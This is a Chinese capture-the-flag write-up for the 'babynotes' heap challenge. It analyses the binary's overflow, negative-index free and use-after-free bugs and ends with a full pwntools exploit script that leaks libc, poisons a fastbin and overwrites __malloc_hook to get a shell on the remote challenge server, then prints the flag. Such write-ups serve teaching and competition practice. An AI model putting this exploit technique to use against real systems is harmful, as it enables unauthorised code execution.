[强网先锋] babynotes

64位程序,典型的菜单题。保护就开了NX,而且是运行在libc2.23的环境。

 

程序逻辑:

1、首先是输入name和motto,输入的内容先输入到栈中,再输入到堆中。这里在strcpy的时候没进行边界检查,因此当输入name的长度为0x18的时候,会连着后面的age的值一块复制到堆中,这里就能够覆盖下一个chunk头部的size。

 

2、addnote函数,该函数负责申请堆块,然后将堆的地址和申请的大小放在bss段中,位置恰好在存name和motto堆块地址的后面。最大能申请0x100的内存空间,因此大概猜测要用到fastbin attack。

 

 

3、shownote函数,打印通过addnote申请的堆的内容。没利用到这个函数。

 

 

4、deletenote函数,能够释放掉所申请的堆块。这里v1没有检查下边界,因此存在负数溢出。同时释放掉堆块后并没有将指针清0,存在UAF的漏洞。

 

 

5、editnote函数,向所申请的堆块中填入内容,中规中矩,这里没有漏洞点。

 

6、reset函数,再进行一次填入name、motto和age的操作,意味着能够改变堆块头的size字段,这里就能布置chunk overlap

 

 

7、check函数,打印name和motto合age的值。这里可以用来进行地址泄露。

 

 

思路:

因此漏洞利用的思路就很明确了。

1、分配4个堆块,chunk0申请0x80的大小,chunk1申请0x68的大小,这两个chunk用来布置chunk overlap。chunk3申请0x68的大小,chunk4申请0x68的大小,这两个chunk用来使delete函数能够free掉name和motto的chunk。

2、 通过deletenote的负数溢出将name和motto的chunk给释放掉,这是由于motto的chunk的大小为0x110,因此就会被放到unsortedbin中,然后用check函数就能够打印出main_arean的地址。

3、将chunk1给释放了,因此它会加入fastbin。通过reset函数将chunk0的头改为0x100,再申请一个0x100的chunk,这是就会把这个大小为0x100的连续内存地址(覆盖了chunk1)取出。

4、通过editnote函数将chunk1中的fd字段给改成malloc_hook上方的地址,再分配2个0x70的chunk,这是就会将包含malloc_hook的内存地址给分配出来。然后再用editnote往malloc_hook中填入one_gadget。

5、再次执行malloc函数的时候就能getshell。

 

完整代码:

from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
#p = process("./babynotes")
p = remote("123.56.170.202", 43121)
elf = ELF("./babynotes")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def regi(name, motto, age):
 p.sendafter("name:", name)
 p.sendafter("motto:", motto)
 p.sendlineafter("age", str(age))
def add_note(idx, size):
 p.sendlineafter(">> ", str(1))
 p.sendlineafter("index:", str(idx))
 p.sendlineafter("size:", str(size))
def del_note(idx):
 p.sendlineafter(">> ", str(3))
 p.sendlineafter("index:", str(idx))
def edit_note(idx, note):
 p.sendlineafter(">> ", str(4))
 p.sendlineafter("index:", str(idx))
 p.sendafter("note", note)
#gdb.attach(p)
regi("aaaaaaaa", "bbbbbbbb", 24)
add_note(0, 0x80)
add_note(1, 0x68)
add_note(4, 0x68)
add_note(5, 0x68)
del_note(-2)
del_note(-1)
p.sendlineafter(">> ", str(6))
p.recvuntil("Motto: ")
leak_addr = u64(p.recv(6).ljust(8, "\x00"))
print hex(leak_addr)
libc_base = leak_addr - 0x3c4b78
one_gadget = libc_base + 0xf1207
del_note(0)
#del_note(1)
p.sendlineafter(">> ", str(5))
regi("a" * 0x18, p64(libc_base), 0x101)
#raw_input()
add_note(0, 0xf0)
del_note(1)
edit_note(0, "a"*0x80 + p64(0x90) + p64(0x70) + p64(libc_base + libc.symbols['__malloc_hook']-0x20-3))
add_note(2, 0x68)
add_note(3, 0x68)
edit_note(3, 'y' * 0x13 + p64(one_gadget))
add_note(1, 104)
p.interactive()​

 

flag{6279ac0413ae55144e232766aa65e547}

打赏还是打残,这是个问题
0x00 题目名称
[强网先锋] Funhash - Donek1
立即登录, 发表评论.
没有帐号? 立即注册
0 条评论